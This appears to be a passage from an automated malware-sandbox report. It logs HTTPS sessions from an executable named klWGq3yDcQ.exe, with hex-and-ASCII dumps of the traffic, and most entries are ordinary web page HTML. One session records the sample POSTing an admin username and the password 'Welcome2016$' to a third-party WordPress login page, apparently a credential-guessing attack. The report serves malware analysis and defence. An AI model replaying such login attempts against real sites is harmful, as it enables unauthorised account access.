2023-11-26 05:59:45 UTC	16381	IN	Data Raw: 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 2d 69 74 65 6d 2d 6c 69 6e 6b 22 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 20 20 20 69 74 65 6d 70 72 6f 70 3d 22 75 72 6c 22 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 20 20 20 68 72 65 66 3d 22 2f 63 61 74 65 67 6f 72 69 61 2f 6d 61 71 75 69 6e 61 73 2d 65 71 75 69 70 61 6d 65 6e 74 6f 73 2f 63 61 6d 62 69 6f 2d 74 72 61 6e 73 6d 69 73 73 61 6f 22 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 20 20 20 6f 6e 63 6c 69 63 6b 3d 22 73 65 6e 64 4b 69 6e 65 73 69 73 44 61 74 61 41 6a 61 78 28 7b 61 63 74 69 6f 6e 49 44 3a 20 27 63 6c 69 63 6b 27 2c 61 63 74 69 6f 6e 44 61 74 61 3a 60 63 61 6d 62 69 6f 2d 74 72 61 6e 73 6d 69 73 73 61 6f 20 2d 20 63 61 74 65 67 6f 72 79 32 60 7d 29 22 3e 0a 09 Data Ascii: class="sub-menu-item-link" itemprop="url" href="/categoria/maquinas-equipamentos/cambio-transmissao" onclick="sendKinesisDataAjax({actionID: 'click',actionData:`cambio-transmissao - category2`})">
2023-11-26 05:59:46 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 0a 09 09 09 0a 09 09 0a 09 0a 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 67 65 74 4d 61 63 68 69 6e 65 49 6d 67 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 74 68 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 27 20 2b 20 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 2b 20 22 2f 22 3b 0a 09 09 72 65 74 75 72 6e 20 74 68 65 55 72 6c 20 2b 20 27 2e 2e 2f 2e 2e 2f 61 73 73 65 74 73 2f 61 6d 61 7a 6f 6e 2d 34 32 33 31 2f 74 72 61 63 74 6f 72 2e 70 6e 67 27 3b 0a 09 7d 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 09 09 3c 2f 68 65 61 64 65 72 3e 0a 0a 09 09 0a 09 0a 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 66 61 6c 73 65 22 20 69 64 3d 22 69 73 45 6e 61 62 6c 65 4d 75 6c 74 Data Ascii: 7fe0<script>var getMachineImg = function(){var theUrl = 'https://' + location.hostname + "/";return theUrl + '../../assets/amazon-4231/tractor.png';}</script></header><input type="hidden" value="false" id="isEnableMult
2023-11-26 05:59:46 UTC	16360	IN	Data Raw: 73 3d 22 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 22 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 20 69 74 65 6d 70 72 6f 70 3d 22 75 72 6c 22 3e 0a 09 09 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 73 2e 63 77 73 2e 64 69 67 69 74 61 6c 2f 66 6f 72 6e 65 63 65 64 6f 72 65 73 2f 66 75 6c 6c 2f 72 65 63 68 2d 61 67 72 69 63 6f 6c 61 31 2e 6a 70 67 22 20 63 6c 61 73 73 3d 22 69 6d 67 2d 6c 6f 67 6f 22 20 61 6c 74 3d 22 4c 6f 67 6f 22 2f 3e 0a 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6c 6f 67 22 20 3e 0a 09 09 09 09 3c 64 69 76 3e 0a Data Ascii: s="footer__logo"><a href="/" itemprop="url"><img src="https://images.cws.digital/fornecedores/full/rech-agricola1.jpg" class="img-logo" alt="Logo"/></a></div></div><div class="container-secondary-blog" ><div>
2023-11-26 05:59:46 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 70 72 69 63 65 43 75 72 72 65 6e 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 42 52 4c 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 43 6f 6e 64 69 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4e 65 77 43 6f 6e 64 69 74 69 6f 6e 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 61 76 61 69 6c 61 62 69 6c 69 74 79 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 49 6e 53 74 6f 63 6b 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 70 72 69 63 65 22 20 63 6f Data Ascii: 7fe0https://www.rech.com/"/><meta itemprop="priceCurrency" content="BRL"/><meta itemprop="itemCondition" content="https://schema.org/NewCondition"/><meta itemprop="availability" content="https://schema.org/InStock"/><meta itemprop="price" co
2023-11-26 05:59:46 UTC	16360	IN	Data Raw: 65 73 74 2e 73 74 6f 63 6b 52 65 6d 61 69 6e 69 6e 67 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 74 6f 63 6b 2d 69 64 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 73 74 6f 63 6b 49 64 7d 7d 22 0a 09 09 09 09 09 09 69 64 3d 22 73 6b 75 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2d 62 74 6e 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 6c 79 70 68 69 63 6f 6e 20 67 6c 79 70 68 69 63 6f 6e 2d 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 22 3e 3c 2f 73 70 61 6e 3e 41 64 69 63 69 6f 6e 61 72 20 61 6f 20 63 61 72 72 69 6e 68 6f 0a 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 0a 09 09 09 09 0a 0a 09 09 09 09 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 61 6c 2d 63 61 6c 63 75 6c 61 74 6f 72 20 6d 6f 64 61 6c 20 66 Data Ascii: est.stockRemaining}}"data-stock-id="{{sku.best.stockId}}"id="sku-add-to-cart-btn"><span class="glyphicon glyphicon-shopping-cart"></span>Adicionar ao carrinho</button></form><div class="modal-calculator modal f
2023-11-26 05:59:46 UTC	3250	IN	Data Raw: 63 61 62 0d 0a 0a 09 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 66 75 6e 63 74 69 6f 6e 20 64 65 6c 65 74 65 43 6f 6f 6b 69 65 28 6e 61 6d 65 29 20 7b 0a 20 20 20 20 09 09 09 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 6e 61 6d 65 20 2b 20 27 3d 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 27 3b 0a 09 09 09 7d 0a 09 09 09 64 65 6c 65 74 65 43 6f 6f 6b 69 65 28 27 74 6f 6b 65 6e 27 29 3b 0a 09 09 09 64 65 6c 65 74 65 43 6f 6f 6b 69 65 28 27 73 75 62 64 6f 6d 61 69 6e 27 29 3b 0a 09 09 09 64 65 6c 65 74 65 43 6f 6f 6b 69 65 28 27 74 6f 6b 65 6e 2d 77 73 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 09 Data Ascii: cab<script type="text/javascript">function deleteCookie(name) { document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';}deleteCookie('token');deleteCookie('subdomain');deleteCookie('token-ws');</script>
2023-11-26 05:59:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.4	51693	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:45 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:45 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.4	52152	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	382	OUT	POST /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=cg10ujaipf9k7m41e4afoh39s1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://engel-firm.com/wp-login.php Content-Length: 154 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:45 UTC	154	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 57 65 6c 63 6f 6d 65 32 30 31 36 25 32 34 26 77 70 73 65 63 5f 63 61 70 74 63 68 61 5f 61 6e 73 77 65 72 3d 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=Welcome2016%24&wpsec_captcha_answer=&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fengel-firm.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:45 UTC	773	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 05:59:45 UTC	7940	IN	Data Raw: 31 65 66 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1efc<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 05:59:45 UTC	1600	IN	Data Raw: 36 33 39 0d 0a 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 33 2e 34 27 20 69 64 3d 27 75 6e 64 65 72 73 63 6f 72 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 61 6a 61 78 22 3a 7b 22 75 72 6c 22 3a 22 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f Data Ascii: 639in.js?ver=1.13.4' id='underscore-js'></script><script type='text/javascript' id='wp-util-js-extra'>/* <![CDATA[ /var _wpUtilSettings = {"ajax":{"url":"\/wp-admin\/admin-ajax.php"}};/ ... */</script><script type='text/javascript' src='https://
2023-11-26 05:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.4	52142	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	275	OUT	GET / HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip Cookie: ff59ae34f86788aafc83adbd6fbb16ab=573a080441b430e46540f849b8105044 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.maxiv.lu.se/
2023-11-26 05:59:46 UTC	484	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 77 70 2f 76 32 2f 70 61 67 65 73 2f 32 38 3e 3b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 3b 20 74 79 Data Ascii: HTTP/1.1 200 OKdate: Sun, 26 Nov 2023 05:59:45 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12link: <https://www.maxiv.lu.se/wp-json/>; rel="https://api.w.org/"link: <https://www.maxiv.lu.se/wp-json/wp/v2/pages/28>; rel="alternate"; ty
2023-11-26 05:59:46 UTC	11668	IN	Data Raw: 32 44 38 43 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 4d 41 58 20 49 56 20 26 23 38 32 31 31 3b 20 57 65 20 6d 61 6b 65 20 74 68 65 20 69 6e 76 69 73 69 62 Data Ascii: 2D8C<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>MAX IV – We make the invisib
2023-11-26 05:59:46 UTC	16314	IN	Data Raw: 33 46 42 32 0d 0a 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 73 74 79 6c 65 73 2e 63 73 73 3f 76 65 72 3d 35 2e 38 2e 32 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6f 6b 69 65 2d 6c 61 77 2d 69 6e 66 6f 2f 6c 65 67 61 63 79 2f 70 75 62 6c 69 63 2f 63 73 73 2f 63 6f 6f 6b 69 65 2d 6c 61 77 2d 69 6e 66 6f 2d 70 75 62 6c 69 63 2e 63 73 73 3f 76 65 72 3d 33 2e 31 2e 36 